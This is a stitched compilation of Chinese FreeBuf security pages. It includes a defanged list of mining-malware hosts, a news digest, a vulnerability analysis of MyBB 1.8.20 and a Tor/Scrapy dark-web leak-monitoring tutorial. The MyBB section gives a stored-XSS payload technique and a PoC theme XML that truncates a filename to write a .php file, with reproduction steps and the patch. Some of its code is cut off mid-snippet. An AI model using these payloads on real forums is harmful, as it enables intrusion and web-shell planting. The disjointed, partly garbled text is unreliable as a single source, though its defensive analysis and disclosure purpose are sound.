aly001[.]hopto.org (192[.]210.200.87, port 22)

system-update[.]is (145[.]249.104.109, port 5100)

用于挖掘的主机

system-update[.]info (185[.]193.126.114, port 443 or 8080)

system-check[.]services (82[.]221.139.161, port 8080)

FreeBuf早报,安全圈值得关注的每日大事件

【全球动态】

1.荷兰紧急电话号码中断3小时

荷兰皇家电信公司的一次严通信故障导致荷兰紧急电话号码周一停止工作超过三个小时,迫使警方和其他紧急服务采用替代方案。故障发生在 下午 4 点左右(1400 GMT),到晚上 7 点 40 分(1740 GMT)左右恢复。荷兰紧急服务迅速在社交网络上公布了新的联系号码,并通过短信推送给手机。警方还派遣警员到街头巡逻,帮助需要应急服务的人民。当局建议寻求帮助的公民直接去医院或警察局或消防站。事故原因目前还不清楚,荷兰皇家电信表示看起来不是黑客攻击。[外刊-阅读原文]

2.中国拟立密码法,明确任何组织或个人不得窃取他人加密信息

密码法草案于6月25日提请十三届全国人大常委会初次审议。草案明确,任何组织或者个人不得窃取他人的加密信息,不得非法侵入他人的密码保障系统,不得利用密码从事危害国家安全、社会公共利益、他人合法权益的活动或者其他违法犯罪活动。[阅读原文]

3.英国政府拟严格审查Libra,要求Facebook提供更多信息

英国金融市场监管机构“金融行为监管局”(FCA)局长安德鲁·贝利今日表示,Facebook的数字加密货币Libra计划不可能轻松获得批准,需要接受英国央行和财政部的仔细审查。作为拓展数字支付业务的一部分,Facebook上周发布了名为“Libra”的数字加密货币。Libra计划于明年正式推出,有望向数十亿的潜在用户提供数字交易和支付服务。[阅读原文]

4.澳大利亚现假冒网络服务商诈骗,中使馆呼吁注意防范

近日,澳大利亚竞争及消费者委员会(ACCC)和国家宽带网络公司(NBN Co)相继发布提醒,防范假冒NBN诈骗。报道称,2019年1月至5月,此类诈骗受害者被骗金额已高于2018年全年总额。诈骗手段主要有:冒充NBN或其他网络服务商,以声称修复电话或网络连接故障的方式,远程登录居民电脑植入恶意软件,窃取个人信息。[阅读原文]

5.LoudMiner挖矿木马: 通过虚拟化软件实现跨平台攻击

LoudMiner是持久性加密货币挖掘器的一个不寻常案例,自2018年8月开始为macOS和Windows分发。它使用虚拟化软件 – 在macOS上的QEMU和在Windows上的VirtualBox – 在Tiny Core Linux 虚拟机上挖掘加密货币 ,使其成为跨平台挖矿木马。它捆绑了VST 软件的盗版副本。矿工本身基于 XMRig (Monero)并使用采矿池,因此无法追溯潜在交易。[外刊-阅读原文]

6.Sodinokibi勒索软件开始通过Exploit Kits工具进行投递

安全研究人员发现Sodinokibi Ransomware通过恶意广告进行分发,重定向到RIG漏洞利用工具包。通过使用漏洞利用工具包,Sodinokibi现在使用大量媒介传播勒索软件。[外刊-阅读原文]

7.微软OneDrive在托管恶意文件方面使用率突然大幅增加

微软OneDrive用于托管恶意文件的使用率显着上升。根据FireEye报告显示,微软OneDrive上一季度托管恶意文件的用户数量激增60%以上,而此前仅上升了一位数百分点。据FireEye称,OneDrive在托管恶意文件的使用率方面,已经超过Dropbox、Google Drive和WeTransfer等竞争对手。[阅读原文]

8.华为主动出手,向印度政府提议签“无后门”协议

25日,华为公司常务董事、运营商事业部总裁丁耘表示,全球2/3已发布5G商用网络由华为部署。与此同时,华为也在不断推进对印度5G建设的参与。“今日俄罗斯”(RT)25日一篇报道说,华为准备与印度政府签署“无后门”协议,消除有关其“间谍活动”的担忧。[阅读原文]

【安全事件】

1.Myspace 雇员曾用内部工具 Overlord 监视用户

在 Myspace 最鼎盛的时期,该公司雇员曾利用内部工具去监视用户,某些情况下甚至包括前伴侣。Myspace 前雇员称,该工具被称为 Overlord,本质上是一个后门,允许雇员查看用户的密码和信息,最初是为遵守执法请求和管理平台而开发的。滥用工具监视用户的事情发生在十年前,当时还是 Myspace 最受欢迎的时候,Myspace 一度是美国第二大最受欢迎的网站,排名甚至高于 Google。[外刊-阅读原文]

2.研究发现黑客已渗透十多家运营商 必要时可切断通讯网络

黑客已经悄然渗透到全球十多家移动运营商,完全掌控了公司的通讯网络。根据总部位于波士顿的安全公司Cybereason近期发布的安全警告,在过去七年中黑客一直利用已经渗透的运营商网络来窃取敏感数据,甚至于在必要的时候可以完全关闭通讯网络。[阅读原文]

3.外交部驳美以“中国黑客攻击”报告:凭空指责

前面提到的黑客渗透十多家运营商的消息,美国和以色列安全研究员怀疑是中国黑客所为。对此,我国外交部发言人耿爽主持例行记者会上反驳称,在调查和定性网络事件的时候应拿出充分的证据,凭空指责既不专业,也不负责任。中方坚决反对并依法打击任何形式的网络攻击,不允许任何国家或个人在中国境内或利用中国基础设施从事网络攻击等非法活动。[阅读原文]

4.阿里邀请全球学者研讨隐私保护:技术和其并不矛盾

“100多年前,当电话刚刚发明时,人们也很担心电话进入家庭,会让人们的隐私荡然无存。”6月25日,阿里巴巴倡议成立的罗汉堂召集多位世界“最强大脑”们云集杭州西湖闭门研讨,谈到隐私保护和数据安全这个话题,学者们提到这个发生在19世纪末的例子。[阅读原文]

5.亚马逊证实云计算服务出现宕机,多个区域连接受影响

亚马逊AWS在官网上表示,太平洋时间凌晨3:34 到6:01之间,他们检测到网络的一家外部提供商出现了一个问题,导致部分网络用户和多个AWS区域的网络连接受到了影响。[阅读原文]

6.大疆致信美参议院,回应无人机数据安全风险质疑

针对“无人机收集和分享的数据或导致行业面临风险”的猜疑,大疆于本周一向美国参议院商业、科学和运输安全小组委员会致信称:“该公司并不会通过互联网自动将照片或视频回传到服务器,这些数据完全依赖于无人机操作者的存储设备,大疆从未获得过客户分享的这些数据”。[外刊-阅读原文]

7.山西省招考中心:考生切勿用搜索引擎搜索填报志愿网页

山西省招生考试管理中心日前发布提醒,考生在网上填报志愿时,切记不要使用搜索引擎来搜索网上填报志愿系统网页,否则可能误入其他网站,使自己填报的志愿信息无效,并造成考生密码等个人信息泄露的不良后果。[阅读原文]

【优质文章】

1.企业威胁情报平台建设之暗网监控

对于企业而言,往往不免被黑客攻击而被获取大量的数据,而这些数据一般会优先在暗网售卖,如近年来的12306、各大互联网公司等的数据泄露事件。为了及时响应突发的数据泄露事件,企业需要一款实时监控暗网数据泄露的威胁情报平台,用来监控敏感数据泄露、薅羊毛、业务安全风险等事件。[阅读原文]

2.解读 | 日本个人信息保护法(2017)

日本于2017年施行了新版《个人信息保护法》,其中一些理念不失为热议良久的个人信息保护法律制度的新探索。本文针对个人信息保护法律制度的几个关键问题,思考了该法中的有益经验,以期为更合理的个人信息保护立法提供参考。[阅读原文]

3.保障 IDC 安全:分布式 HIDS 集群架构设计

保障IDC安全,常用的是基于主机型入侵检测系统Host-based Intrusion Detection System,即HIDS。在HIDS面对几十万台甚至上百万台规模的IDC环境时,系统架构该如何设计呢?复杂的服务器环境,网络环境,巨大的数据量给我们带来了哪些技术挑战呢?[阅读原文]

4.大数据时代 良法善治护航

大数据是万物及万物“普遍联系”的全景式记录,被称为“信息时代的石油”。当前,我国正在大力推动实施国家大数据战略,加快建设数字中国。更好服务经济社会发展和人民生活改善,成为大数据发展的时代命题。[阅读原文]

*本文内容收集自全球范围内的媒体与刊物,制作者对其完整性负责,但不对其真实性和有效性负责。

*标注为【外刊】的内容主要来源为英语国家的媒体与刊物,部分内容需要注册免费账号后方可阅读。

2019年6月11日,RIPS团队在团队博客中分享了一篇MyBB <= 1.8.20: From Stored XSS to RCE,文章中主要提到了一个Mybb18.20中存在的存储型xss以及一个后台的文件上传绕过。

其实漏洞本身来说,毕竟是需要通过XSS来触发的,哪怕是储存型XSS可以通过私信等方式隐藏,但漏洞的影响再怎么严重也有限,但漏洞点却意外的精巧,下面就让我们一起来详细聊聊看…

漏洞要求

储存型xss

拥有可以发布信息的账号权限

服务端开启视频解析

<=18.20

管理员后台文件创建漏洞

拥有后台管理员权限(换言之就是需要有管理员权限的账号触发xss)

<=18.20

漏洞分析

在原文的描述中,把多个漏洞构建成一个利用链来解释,但从漏洞分析的角度来看,我们没必要这么强行,我们分别聊聊这两个单独的漏洞:储存型xss、后台任意文件创建。

储存型XSS

在Mybb乃至大部分的论坛类CMS中,一般无论是文章还是评论又或是的什么东西,都会需要在内容中插入图片、链接、视频等等等,而其中大部分都是选择使用一套所谓的“伪”标签的解析方式。

也就是说用户们通过在内容中加入[url][img]等“伪”标签,后台就会在保存文章或者解析文章的时候,把这类“伪”标签转化为相应的<a><img>,然后输出到文章内容中,而这种方式会以事先规定好的方式解析和处理内容以及标签,也就是所谓的白名单防御,而这种语法被称之为bbcode

这样一来攻击者就很难构造储存型xss了,因为除了这些标签以外,其他的标签都不会被解析(所有的左右尖括号以及双引号都会被转义)。

function htmlspecialchars_uni($message)
{
    $message = preg_replace("#&(?!\#[0-9]+;)#si", "&amp;", $message); // Fix & but allow unicode
    $message = str_replace("<", "&lt;", $message);
    $message = str_replace(">", "&gt;", $message);
    $message = str_replace("\"", "&quot;", $message);
    return $message;
}

正所谓,有人的地方就会有漏洞。

在这看似很绝对的防御方式下,我们不如重新梳理下Mybb中的处理过程。

/inc/class_parse.php line 435 的 parse_mycode函数中就是主要负责处理这个问题的地方。

    function parse_mycode($message, $options=array())
    {
        global $lang, $mybb;

        if(empty($this->options))
        {
            $this->options = $options;
        }

        // Cache the MyCode globally if needed.
        if($this->mycode_cache == 0)
        {
            $this->cache_mycode();
        }

        // Parse quotes first
        $message = $this->mycode_parse_quotes($message);

        // Convert images when allowed.
        if(!empty($this->options['allow_imgcode']))
        {
            $message = preg_replace_callback("#\[img\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback1'), $message);
            $message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback2'), $message);
            $message = preg_replace_callback("#\[img align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback3'), $message);
            $message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*) align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback4'), $message);
        }
        else
        {
            $message = preg_replace_callback("#\[img\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback1'), $message);
            $message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback2'), $message);
            $message = preg_replace_callback("#\[img align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback3'), $message);
            $message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*) align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback4'), $message);
        }

        // Convert videos when allow.
        if(!empty($this->options['allow_videocode']))
        {
            $message = preg_replace_callback("#\[url]test.com[/url]

后台会首先处理

首先跟入到函数/inc/class_parse.php line 1385行 mycode_parse_video中。

链接经过parse_url处理被分解为:

array (size=4)
  'scheme' => string 'http' (length=4)
  'host' => string 'test' (length=4)
  'path' => string '/test' (length=5)
  'fragment' => string '[url]onmousemove=alert();//[/url]&amp;1=1' (length=41)

然后在1420行,各个参数会被做相应的处理,由于我们必须保留=号以及/号,所以这里我们选择把内容放在fragment中。

1.jpg

在1501行case youtube中,被拼接到id上。

case "youtube":
    if($fragments[0])
    {
        $id = str_replace('!v=', '', $fragments[0]); // http://www.youtube.com/watch#!v=fds123
    }
    elseif($input['v'])
    {
        $id = $input['v']; // http://www.youtube.com/watch?v=fds123
    }
    else
    {
        $id = $path[1]; // http://www.youtu.be/fds123
    }
    break;

最后id会经过一次htmlspecialchars_uni,然后生成模板。

$id = htmlspecialchars_uni($id);

eval("\$video_code = \"".$templates->get("video_{$video}_embed", 1, 0)."\";");
return $video_code;

当然这并不影响到我们上面的内容。

到此为止我们的内容变成了:

<iframe width="560" height="315" src="//www.youtube.com/embed/[url]onload=alert();//[/url]" frameborder="0" allowfullscreen></iframe>

紧接着再经过对[url]的处理,上面的内容变为:

<iframe width="560" height="315" src="//www.youtube.com/embed/<a href="http://onload=alert();//" target="_blank" rel="noopener" class="mycode_url">http://onload=alert();//</a>" frameborder="0" allowfullscreen></iframe>

我们再把前面的内容简化看看,链接由:

变成了:

<iframe src="//www.youtube.com/embed/<a href="http://onload=alert();//"..."></iframe>

由于我们插入在iframe标签中的href被转变成了<a href="http://onload=alert();//">, 由于双引号没有转义,所以iframe的href在a标签的href中被闭合,而原本的a标签中的href内容被直接暴露在了标签中,onload就变成了有效的属性!

最后浏览器会做简单的解析分割处理,最后生成了相应的标签,当url中的链接加载完毕,标签的动作属性就可以被触发了。

3.jpg

管理员后台文件创建漏洞

在Mybb的管理员后台中,管理员可以自定义论坛的模板和主题,除了普通的导入主题以外,他们允许管理员直接创建新的css文件,当然,服务端限制了管理员的这种行为,它要求管理员只能创建文件结尾为.css的文件。

/admin/inc/functions_themes.php line 264

function import_theme_xml($xml, $options=array())
{
    ...
    foreach($theme['stylesheets']['stylesheet'] as $stylesheet)
    {
        if(substr($stylesheet['attributes']['name'], -4) != ".css")
        {
            continue;
        }
        ...

看上去好像并没有什么办法绕过,但值得注意的是,代码中先将文件名先写入了数据库中。

4.jpg

紧接着我们看看数据库结构。

5.jpg

我们可以很明显的看到name的类型为varchar且长度只有30位。

如果我们在上传的xml文件中构造name为tttttttttttttttttttttttttt.php.css时,name在存入数据库时会被截断,并只保留前30位,也就是tttttttttttttttttttttttttt.php

<?xml version="1.0" encoding="UTF-8"?>

<theme>
    <stylesheets>
        <stylesheet name="tttttttttttttttttttttttttt.php.css">
            test
        </stylesheet>
    </stylesheets>

</theme>

紧接着我们需要寻找一个获取name并创建文件的地方。

在/admin/modules/style/themes.php 的1252行,这个变量被从数据库中提取出来。

6.jpg

theme_stylesheet 的name作为字典的键被写入相关的数据。

$mybb->input['do'] == "save_orders"时,当前主题会被修改。

7.jpg

在保存了当前主题之后,后台会检查每个文件是否存在,如果不存在,则会获取name并写入相应的内容。

8.jpg

可以看到我们成功的写入了php文件。

完成的漏洞复现过程

储存型XSS

找到任意一个发送信息的地方,如发表文章、发送私信等….

9.jpg

发送下面这些信息。

然后阅读就可以触发。

10.jpg

管理员后台文件创建漏洞

找到后台加载theme的地方。

11.jpg

构造上传文件test.xml。

<?xml version="1.0" encoding="UTF-8"?>

<theme>
    <stylesheets>
        <stylesheet name="tttttttttttttttttttttttttt.php.css">
            test
        </stylesheet>
    </stylesheets>

</theme>

需要注意要勾选 Ignore Version Compatibility。

然后查看Theme列表,找到新添加的theme。

12.jpg

然后保存并访问相应tid地址的文件即可。

13.jpg补丁

https://github.com/mybb/mybb/commit/44fc01f723b122be1bc8daaca324e29b690901d6

储存型XSS

14.jpg

这里的iframe标签的链接被encode_url重新处理,一旦被转义,那么[url]就不会被继续解析,则不会存在问题。

管理员后台文件创建漏洞

15.jpg

在判断文件名后缀之前,加入了字符数的截断,这样一来就无法通过数据库字符截断来构造特殊的name了。

写在最后

整个漏洞其实说到实际利用来说,其实不算太苛刻,基本上来说只要能注册这个论坛的账号就可以构造xss,由于是储存型xss,所以无论是发送私信还是广而告之都有很大的概率被管理员点击,当管理员触发之后,之后的js构造exp就只是代码复杂度的问题了。

抛开实际的利用不谈,这个漏洞的普适性才更加的特殊,bbcode是现在主流的论坛复杂环境的解决方案,事实上,可能会有不少cms会忽略和mybb一样的问题,毕竟人才是最大的安全问题,当人自以为是理解了机器的一切想法时,就会理所当然得忽略那些还没被发掘的问题,安全问题,也就在这种情况下悄然诞生了。

*本文作者:LoRexxar’@知道创宇404实验室,转载请注明来自FreeBuf.COM

一、前言

相信大家对暗网这个概念并不陌生,众所周知,暗网藏着一个暗黑版的交易市场,违法工具、色情交易、毒品交易、枪械信息比比皆是,俨然一个网络犯罪分子聚集的“虎狼之穴”。我们使用Tor浏览器等可以轻松访问暗网中的浅层网,主要是黄赌毒和数据情报信息,如丝绸之路等。

对于企业而言,往往不免被黑客攻击而被获取大量的数据,而这些数据一般会优先在暗网售卖,如近年来的12306、各大互联网公司等的数据泄露事件。为了及时响应突发的数据泄露事件,企业需要一款实时监控暗网数据泄露的威胁情报平台,用来监控敏感数据泄露、薅羊毛、业务安全风险等事件。

二、代理服务器搭建

由于国内网络环境的原因,为了顺利访问暗网,我们需要一台海外服务器,系统版本是ubuntu 18.04(当然其他系统也可以,只是本文会把这个版本的系统作为例子),同时需要在这台服务器上安装Tor与Privoxy用作访问代理服务器。 

本文的系统版本:

[email protected]:/# cat /etc/issue.net
Ubuntu 18.04.2 LTS

2.1 整体架构

dw-2.1.png

从图上可以看到,Privoxy作为一个中转代理,主要是把http协议转socks5协议,而Tor则负责把socks5转Tor协议。所以整个代理访问过程为: 

1.用户输入后缀为onion的地址,由Privoxy暴露的8118端口访问http协议; 

2.Privoxy把http协议转发给Tor,Tor获取该网站公钥进行加密,通过Tor通信链路发送信息给Tor节点,由该节点转发请求到.onion网站。

2.2 安装Tor

可能很多人一开始会直接执行这条命令:sudo apt-get install tor,从这个命令安装的Tor是v2版本的,不支持较新的加密算法,所以导致访问不到某些使用最新加密算法的暗网网址。 

Tor v2到Tor v3的转变主要表现为如下几点: 

1.签名算法从SHA1/DH/RSA1024升级到SHA3/ed25519/curve25519;

2.改进的Tor directory protocol,安全性更高;

3.更好的洋葱地址,换成sha3,可以提高枚举生成一样地址的难度;

4.可拓展的交换协议。

参考官网的安装方法,安装最新版(v3版本)的Tor步骤如下:

1.在/etc/apt/sources.list添加如下源:

deb https://deb.torproject.org/torproject.org bionic main
deb-src https://deb.torproject.org/torproject.org bionic main

2.添加gpg密钥,执行如下命令:

curl https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --import
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -

3.安装Tor:

apt update
apt install tor deb.torproject.org-keyring

4.查看安装好Tor的版本,可知本文安装的Tor版本为0.3.5.8:

[email protected]:/# tor -v
Jun 18 14:30:43.530 [notice] Tor 0.3.5.8 running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd 1.3.3.
Jun 18 14:30:43.531 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning
Jun 18 14:30:43.531 [warn] Command-line option '-v' with no value. Failing.
Jun 18 14:30:43.531 [err] Reading config failed--see warnings above.

2.3 配置Tor

Tor配置文件位于/etc/tor/torrc与/etc/tor/torsocks.conf: 

/etc/tor/torsocks.conf定义了让socks协议转Tor协议的端口与地址; 

/etc/tor/torrc是Tor的用户配置,在这个文件里我们修改http代理(polipo、privoxy)、即时通信(pidgin、lrssi)、TorDNS等。 

为了支持Torv3版本,需要在/etc/tor/torrc文件中加上:

HiddenServiceDir /var/lib/tor/other_hidden_service/
HiddenServicePort 80 127.0.0.1:80
HiddenServiceVersion 3

修改完成后,在命令行输入service tor start或tor即可启动Tor。

2.4 安装与配置Privoxy

这里暂时没有什么版本要求,所以可以直接执行apt-get install privoxy。 

安装好后,为了让Privoxy把http协议转发到Tor,需要编辑/etc/privoxy/config加上:

forward-socks5 / 127.0.0.1:9050 .
listen-address 0.0.0.0:8118

修改后,重启服务service privoxy restart。

2.5 验证代理器是否可用

Tor浏览器虽然可以使用meek-azure来访问暗网网站,但是访问速度较慢。为了验证我们搭好的代理服务器是否可用,我们可以修改Tor浏览器的网络设置(假设我们的代理服务器ip为:11.11.11.11): 

dw-2.5.png

设置完成后访问一个暗网网站,如果能访问成功的话即说明我们的代理服务器可用,同时访问速度也比meek-azure快得多。

当然,我们也可以更快捷地输入下面的命令进行测试:

➜  ~ curl -x 11.11.11.11:8118 https://httpbin.org/ip
{
  "origin": "178.175.132.225, 178.175.132.225"
}

可以查询到178.175.132.225的所在地为国外的摩尔多瓦,为Tor节点的出口地址。

三、开发实时监控程序

在上一章节我们搭好了代理服务器,相当于拥有了访问暗网的钥匙,虽然可以用Tor浏览器+代理更快访问暗网网址,但是人工并不能做到24小时监控而及时发现数据泄露事件,因此我们需要开发一个爬虫程序实时监控暗网网站。

3.1 暗网网站的特点

暗网网站不同于表层网网站,没有太多花里胡哨的动态js与强大的反爬策略,因此对暗网网站爬虫也相对简单。在总结了几个常见的暗网网站后,发现暗网网站的反爬策略一般是如下几种情况:

1.Referer;

2.针对Cookie的请求频率限制;

3.User-Agent;

4.验证码;

5.对网站代码进行更新,修改html标签名字或位置。

3.2 暗网网站的反反爬虫

针对3.1的反爬虫策略我们可以设法绕过,由于本文的主旨并不在探究反爬虫策略,故简单地说下绕过方法:

1.指定请求头的referer为访问暗网网站的域名;

2.建立多账号Cookie池,同时使用Redis对url去重实现增量爬取减少请求量;

3.指定User-Agent为FireFox浏览器:{‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0’};

4.暗网网站的验证码一般比较简单,可以简单使用ocr技术识别,如tesseract;

5.需要及时更新爬虫代码,有针对地修改反反爬虫代码。

3.3 暗网监控的爬虫架构

Scrapy是用Python实现的一个为了爬取网站数据、提取结构性数据而编写的应用框架。Scrapy常应用在包括数据挖掘,信息处理或存储历史数据等一系列的程序中。通常我们可以很简单的通过Scrapy框架实现一个爬虫,抓取指定网站的内容。 

本文在Scrapy基础上结合3.2小节的反爬虫绕过方法实现了一个实时监控程序,其架构如下:

dw-3.3.png

3.4 监控程序的具体实现

本文的监控程序是同时监控几个常见的暗网网站,由于篇幅有限,故只拿某暗网网站作为例子。 

Scrapy代理设置:

class DarkwebSpiderDownloaderMiddleware(object):

    def process_request(self, request, spider):
        request.meta['proxy'] = 'http://11.11.11.11:8118'

多账号登录核心代码:

for accounts in Accounts:
    count = 0
    try:
        logging.info('Account %s is logining ......' % accounts)
        cookie, sid = get_CookieSid(accounts, 'Testtest')
        __i__ = {'cookie': cookie, 'sid': sid}
        # print(__i__)
        logging.info('Account %s finish login !' % accounts)
        __value__.append(__i__)
    except Exception as e:
        logging.error('[*] 超时,忽略一个账户!')
        count += 1
        if(count > 7):
            logging.error('[*] 用户登录个数过少~')
            return
        continue

去重组件,主要用来减少请求量:

class DuplicateRequestMiddleware(object):

    #初始化redis
    def __init__(self):
        self.RedisQuery = RedisOpera('query')

    #根据redis去重url
    def process_request(self, request, spider):
        spider.logger.info('duplicating >>>>>> %s' % request.url)
        u = request.url
        import hashlib
        if 'vpic' in request.url:
            b = u.index('=') + 1
            MD5 = hashlib.md5()
            MD5.update(bytes(str(b), 'utf-8'))
            if self.RedisQuery.query(MD5.hexdigest()):
                spider.logger.info('duplicate >>>>>> %s' % request.url)
                raise IgnoreRequest("IgnoreRequest : %s" % request.url)
        else:
            spider.logger.info('ignore duplicate >>>>>> %s' % request.url)
            return None

指定请求头的referer及User-Agent:

LOGIN_HEADERS = {
    'Host': '%s' %load()['domain'].split(',')[index],
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://%s/index.php' %load()['domain'].split(',')[index],
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'keep-alive',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0'
}

解析网页,主要是取出内容存入数据库:

def parse(self, response):
    item = DarkwebSpiderItem()
    soup = BeautifulSoup(response.text, 'lxml')
    # 交易价格
    table = soup.find_all(name = 'table', attrs = {'class':'v_table_1'})
    tr_list = table[0].find_all('tr')
    td_list_price = tr_list[4].find_all('td')
    price_list = re.findall(r'\d+\.?\d*', td_list_price[3].get_text())
    price = price_list[0]
    # 成交数量
    td_list_volume = tr_list[6].find_all('td')
    volume_list = re.findall(r'\d+', td_list_volume[3].get_text())
    volume = volume_list[0]
    # 帖子内容
    content_list = soup.find_all(name='div', attrs={'class': 'content'})
    if len(content_list):
        content = content_list[0].get_text()
    else:
        content = ''
    # 图片url
    img_list = soup.find_all(name = 'img', attrs = {'class':'postimage'})
    item['image_urls'] = []
    if len(img_list) > 0 :
        url_list = []
        for img_url in img_list:
            if img_url['src'].find(self.image_domain) > 0:
                download_url = img_url['src']
            else:
                download_url = self.target_url + img_url['src'].replace('./', '')
            url_list.append(download_url)
        item['image_urls'] = url_list
    # 发布时间
    p_author = soup.find_all('p', attrs={'class': 'author'})
    origin_publish_time = p_author[0].contents[4].strip()
    if len(origin_publish_time):
        # origin_publish_time = pt_str
        ptr_list = [x for x in filter(str.isdigit, str(origin_publish_time))]
        pt_str = "".join(ptr_list)
        y = pt_str[:4]
        d = pt_str[-6:-4]
        h = pt_str[-4:-2]
        min = pt_str[-2:]
        if len(pt_str) == 12:
            m = pt_str[4:6]
        else:
            m = '0' + pt_str[4]
        publish_time = y + '-' + m + '-' + d + " " + h + ":" + min + ":00"
    else:
        publish_time = ''
    dt = datetime.datetime.strptime(publish_time, "%Y-%m-%d %H:%M:%S")
    publish_time = dt.astimezone(pytz.timezone('UTC')).strftime('%Y-%m-%d %H:%M:%S')

    b = response.meta['content_url'].index('=') + 1
    item['title_id'] = (response.meta['content_url'])[b:]
    item['title'] = response.meta['title']
    item['url'] = response.meta['content_url']
    item['content'] = content
    item['price'] = price
    item['volume'] = volume
    item['visits'] = response.meta['visits']
    item['publish_time'] = publish_time
    yield item

当发现监控的关键字新增记录时,通过邮件通知:

def send_html_email(title, html, content, mailto, cc=None):
html_content = render_to_string(html, content)
send_mail = settings.EMAIL_TO.split(',') if mailto == '' else settings.EMAIL_TO

msg = EmailMultiAlternatives(title, html_content,
                             settings.EMAIL_LUCKY_NAME +    '<' + settings.EMAIL_HOST_USER + '>', send_mail, cc=cc)
msg.attach_alternative(html_content, "text/html")
msg.send()

四、可视化爬虫数据

Grafana是一个跨平台的开源的度量分析和可视化监控工具,可以通过将采集的数据查询然后可视化的展示,并及时通知,4.3以后的版本已支持MySQL数据源,因此读者可以使用Grafana来可视化同时配置邮件告警,具体操作方法还请自行查阅。

但是本文的暗网实时监控程序接入了安全管理平台,故采用自研的管理页面,可以更方便地搜索与查看暗网爬虫数据,大致效果如下:

dw-4.png

五、总结

暗网监控对于大多数人是一个神秘的存在,本文一步一步地带领读者揭开这层神秘的面纱,从搭建代理服务器开始,在解释常见的反爬策略后,讲解了如何从零开发一个暗网网站监控程序,最后介绍了Grafana可视化监控工具,可以结合监控程序使用。

p.s.特别鸣谢y1r0nz大佬的指导,给了一些非常好的实施建议。

参考链接: 

Tor v3介绍 

windows+linux下shadowsocks+Tor+Privoxy的配置

*本文原创作者:shystartree,本文属于FreeBuf原创奖励计划,未经许可禁止转载